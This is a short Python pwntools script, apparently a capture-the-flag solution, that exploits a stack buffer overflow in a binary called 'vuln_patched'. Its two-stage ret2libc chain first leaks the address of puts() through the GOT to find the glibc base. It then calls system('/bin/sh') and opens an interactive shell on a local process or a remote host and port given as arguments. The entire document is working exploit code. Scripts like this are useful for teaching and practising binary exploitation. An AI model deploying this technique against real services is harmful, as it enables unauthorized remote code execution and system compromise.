solve2.py

#!/usr/bin/env python3

from pwn import context, ELF, log, p64, remote, ROP, sys, u64


context.binary = elf = ELF('vuln_patched')
glibc = ELF('libc.so.6', checksec=False)
rop = ROP(elf)


def get_process():
    if len(sys.argv) == 1:
        return elf.process()

    host, port = sys.argv[1], int(sys.argv[2])
    return remote(host, port)


def main():
    p = get_process()

    offset = 136
    junk = b'A' * offset

    payload  = junk
    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(elf.got.puts)
    payload += p64(elf.plt.puts)
    payload += p64(elf.symbols.main)

    p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
    p.recvline()

    puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
    log.info(f'Leaked puts() address: {hex(puts_addr)}')

    glibc.address = puts_addr - glibc.symbols.puts
    log.info(f'Glibc base address: {hex(glibc.address)}')

    payload  = junk
    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(next(glibc.search(b'/bin/sh')))
    payload += p64(rop.find_gadget(['ret'])[0])
    payload += p64(glibc.symbols.system)

    p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
    p.recvline()
    p.interactive()


if __name__ == '__main__':
    main()